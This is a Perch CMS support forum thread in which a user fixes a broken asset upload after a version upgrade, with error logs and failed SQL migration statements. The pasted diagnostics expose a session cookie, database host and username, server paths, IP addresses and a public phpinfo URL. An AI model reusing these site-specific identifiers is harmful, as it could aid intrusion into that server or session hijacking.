L1: c18ecdf157ce258586f8b86125d92cbc
headerColour: #ffffff
content_singlePageEdit: 1
helpURL:
siteURL: /
hideBranding: 0
content_collapseList: 1
lang: en-gb
latest_version: 2.5.3
perch_blog_post_url: /post.php?s={postSlug}
headerScheme: light
perch_blog_slug_format: %Y-%m-%d-{postTitle}
perch_blog_akismet_key:
dashboard: 0
content_hideNonEditableRegions: 0
perch_blog_comment_notify: 0
on_sale_version: 2.7.4
update_2.7.4: done
perch_blog_update: 5.0
perch_blog_max_spam_days: 0
perch_shop_paypal_email: XXX
perch_shop_product_url: /shop/product.php?s={productSlug}
hide_pwd_reset: 0
content_frontend_edit: 0
perch_shop_display_oos: 0
PERCH_DEVELOPMENT: 10
PERCH_STAGING: 50
PERCH_PRODUCTION: 100
PERCH_DB_USERNAME: rmp
PERCH_DB_SERVER: dc1-mysql-03
PERCH_DB_DATABASE: rmp
PERCH_DB_PREFIX: perch2_
PERCH_EMAIL_FROM: XXX
PERCH_EMAIL_FROM_NAME: XXX
PERCH_LOGINPATH: /perch
PERCH_PATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch
PERCH_CORE: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/core
PERCH_RESFILEPATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/resources
PERCH_RESPATH: /perch/resources
PERCH_HTML5: 1
PERCH_RUNWAY:
PERCH_ERROR_MODE: DIE
PERCH_DATE_LONG: %d %B %Y
PERCH_DATE_SHORT: %d %b %Y
PERCH_TIME_SHORT: %H:%M
PERCH_TIME_LONG: %H:%M:%S
PERCH_DEBUG:
PERCH_PREVIEW_ARG: preview
PERCH_TEMPLATE_PATH: /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/templates
PERCH_DEFAULT_DOC: index.php
PERCH_DEFAULT_EXT: .php
PERCH_PRODUCTION_MODE: 100
PERCH_RWD:
PERCH_HTML_ENTITIES:
PERCH_SSL:
PERCH_AUTH_PLUGIN:
PERCH_DB_CHARSET: utf8
PERCH_DB_PORT:
PERCH_DB_SOCKET:
HOSTING SETTINGS

PHP: 5.3.12
Zend: 2.3.0
OS: Linux
SAPI: cgi-fcgi
Safe mode: not detected
MySQL client: 5.1.56
MySQL server: 5.1.40-log
Extensions: Core, date, ereg, libxml, openssl, pcre, sqlite3, zlib, bcmath, bz2, calendar, ctype, curl, dba, dom, hash, fileinfo, filter, ftp, gd, gettext, SPL, iconv, imagick, session, json, ldap, mbstring, mcrypt, ming, mysql, mysqli, pcntl, standard, PDO, pdo_mysql, pdo_pgsql, pdo_sqlite, pgsql, Phar, posix, pspell, Reflection, imap, shmop, SimpleXML, soap, sockets, SQLite, exif, sysvmsg, sysvsem, sysvshm, tokenizer, wddx, xml, xmlreader, xmlrpc, xmlwriter, xsl, zip, cgi-fcgi, memcache, mhash, ionCube Loader
GD: Yes
ImageMagick: Yes
PHP max upload size: 800M
PHP max form post size: 800M
PHP memory limit: 256M
Total max uploadable file size: 256M
Resource folder writeable: Yes
Session timeout: 480 minutes
Native JSON: Yes
Filter functions: Yes
Transliteration functions: No
PATH: /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
HOME: /home1/d/dbrat1234
LOGNAME: XXX
PWD: XXX
OLDPWD: XXX
PHP_FCGI_MAX_REQUESTS: 50
_: /usr/local/bin/php53-fcgi
FCGI_ROLE: RESPONDER
REDIRECT_UNIQUE_ID: VInRGNBfaRgAAC0oORoAAAA4
REDIRECT_SCRIPT_URL: /perch/core/settings/diagnostics/
REDIRECT_SCRIPT_URI: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
REDIRECT_HANDLER: php5-fcgi
REDIRECT_STATUS: 200
UNIQUE_ID: VInRGNBfaRgAAC0oORoAAAA4
no_jk: 1
SCRIPT_URL: /perch/core/settings/diagnostics/
SCRIPT_URI: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
HTTP_HOST: www.rockymountainpizza.com
HTTP_CONNECTION: keep-alive
HTTP_ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_USER_AGENT: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
HTTP_REFERER: https://www.rockymountainpizza.com/perch/core/settings/diagnostics/
HTTP_ACCEPT_ENCODING: gzip, deflate, sdch
HTTP_ACCEPT_LANGUAGE: en-GB,en-US;q=0.8,en;q=0.6
HTTP_COOKIE: PHPSESSID=09sceipo2nflvgt80vt9apofa0; cmsa=1
SERVER_SOFTWARE: Apache
SERVER_NAME: www.rockymountainpizza.com
SERVER_ADDR: 208.95.105.24
SERVER_PORT: 80
REMOTE_ADDR: 86.10.3.22
DOCUMENT_ROOT: /home1/d/dbrat1234/rockymountainpizza_com
SERVER_ADMIN: XXX
SCRIPT_FILENAME: /home1/d/dbrat1234/rockymountainpizza_com/perch/core/settings/diagnostics/index.php
REMOTE_PORT: 53830
REDIRECT_QUERY_STRING: extended
REDIRECT_URL: /perch/core/settings/diagnostics/index.php
GATEWAY_INTERFACE: CGI/1.1
SERVER_PROTOCOL: HTTP/1.1
REQUEST_METHOD: GET
QUERY_STRING: extended
REQUEST_URI: /perch/core/settings/diagnostics/?extended
SCRIPT_NAME: /perch/core/settings/diagnostics/index.php
ORIG_SCRIPT_FILENAME: /home1/d/dbrat1234/rockymountainpizza_com/cgi-local/php5.fcgi
ORIG_PATH_INFO: /perch/core/settings/diagnostics/index.php
ORIG_PATH_TRANSLATED: /home1/d/dbrat1234/rockymountainpizza_com/perch/core/settings/diagnostics/index.php
ORIG_SCRIPT_NAME: /cgi-local/php5.fcgi
PHP_SELF: /perch/core/settings/diagnostics/index.php
REQUEST_TIME: 1418318104
Drew McLellan

Drew McLellan 2638 points
Perch Support

6 years ago

Is there anything in your PHP error log? This sounds very strange.
Tim Denton

Tim Denton 0 points

6 years ago

The error log reports the following when I try to add an image to a blog post, and a content region:

[Mon Dec 15 02:26:18 2014] [error] [client 86.10.3.22] FastCGI: server "/home1/d/dbrat1234/rockymountainpizza_com/cgi-local/php5.fcgi" stderr: PHP Fatal error:  Call to a member function reindex() on a non-object in /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/core/apps/assets/modes/upload.pre.php on line 38, referer: https://www.rockymountainpizza.com/perch/addons/apps/perch_blog/edit/

[Mon Dec 15 02:39:20 2014] [error] [client 86.10.3.22] FastCGI: server "/home1/d/dbrat1234/rockymountainpizza_com/cgi-local/php5.fcgi" stderr: PHP Fatal error:  Call to a member function reindex() on a non-object in /nfs/ank/home1/d/dbrat1234/rockymountainpizza_com/perch/core/apps/assets/modes/upload.pre.php on line 38, referer: https://www.rockymountainpizza.com/perch/core/apps/content/edit/?id=43

I notice that when I try to add an asset via perch admin, the file itself is succesfully uploads to the resources folder, but is not available via admin.
Drew McLellan

Drew McLellan 2638 points
Perch Support

6 years ago

Did the update go successfully otherwise?
Tim Denton

Tim Denton 0 points

6 years ago

Hi Drew - yes, everything else went smoothly. The front & back end are both working smoothly apart from this 1 glitch.

Any clue as to what the issue might be related to? At this point, I'm considering a fresh install, but obviously would rather avoid doing that.
Tim Denton

Tim Denton 0 points

6 years ago

Just to give you some background which might help...

  • The Perch upgrade was from version 2.0.8 to 2.7.4

  • The 'core' folder has been replaced with the latest version

  • All new default Perch templates have been added

  • New markitup editor has been added

  • Latest blog app has been added & custom blog templates are updated accordingly

  • Papyal app has been added

  • apps.php has been updated to include categories & paypal

There is also a php info file available: https://www.rockymountainpizza.com/phpinfo.php
Tim Denton

Tim Denton 0 points

6 years ago

I also logged some errors after the upgrade. I clicked to ignore these at the time - in retrospect, probably a bit optimistic...

SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceUpdated` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP AFTER `resourceCreated`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceAWOL` TINYINT(1) UNSIGNED NOT NULL DEFAULT '0' AFTER `resourceUpdated`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD INDEX `idx_awol` (`resourceAWOL`)
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceTitle` CHAR(255) NULL DEFAULT NULL AFTER `resourceAWOL`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceFileSize` INT(10) UNSIGNED NULL DEFAULT NULL AFTER `resourceTitle`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceWidth` INT(10) UNSIGNED NULL DEFAULT NULL AFTER `resourceFileSize`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceHeight` INT(10) UNSIGNED NULL DEFAULT NULL AFTER `resourceWidth`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceCrop` TINYINT(1) UNSIGNED NOT NULL DEFAULT '0' AFTER `resourceHeight`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceDensity` FLOAT NOT NULL DEFAULT '1' AFTER `resourceCrop`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceTargetWidth` INT(10) UNSIGNED NULL DEFAULT NULL AFTER `resourceDensity`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceTargetHeight` INT(10) UNSIGNED NULL DEFAULT NULL AFTER `resourceTargetWidth`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceMimeType` CHAR(64) NULL DEFAULT NULL AFTER `resourceTargetHeight`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD FULLTEXT INDEX `idx_search` (`resourceTitle`)
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD `resourceInLibrary` TINYINT(1) UNSIGNED NOT NULL DEFAULT '0' AFTER `resourceMimeType`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resources` ADD INDEX `idx_library` (`resourceInLibrary`)
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resources' doesn't exist

The following error occurred:
RENAME TABLE `perch2_content_resources` TO `perch2_resource_log`
SQLSTATE[HY000]: General error: 1017 Can't find file: './database/perch2_content_resources.frm' (errno: 2)

The following error occurred:
ALTER TABLE `perch2_resource_log` DROP PRIMARY KEY
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resource_log` ADD `logID` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resource_log` ADD `appID` CHAR(32) NOT NULL DEFAULT 'content' AFTER `logID`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resource_log` ADD `itemFK` CHAR(32) NOT NULL DEFAULT 'itemRowID' AFTER `appID`
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resource_log` ADD INDEX `idx_fk` (`itemFK`, `itemRowID`)
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist

The following error occurred:
ALTER TABLE `perch2_resource_log` ADD UNIQUE INDEX `idx_uni` (`appID`, `itemFK`, `itemRowID`, `resourceID`)
SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database_name.perch2_resource_log' doesn't exist
Tim Denton

Tim Denton 0 points

6 years ago

Ok, so I have a solution - I removed the resources table from the database & rebuilt it, as described here (https://forum.grabaperch.com/forum/07-10-2014-errors-upon-upgrading-from-206-to-252?page=1)

Assets now function correctly.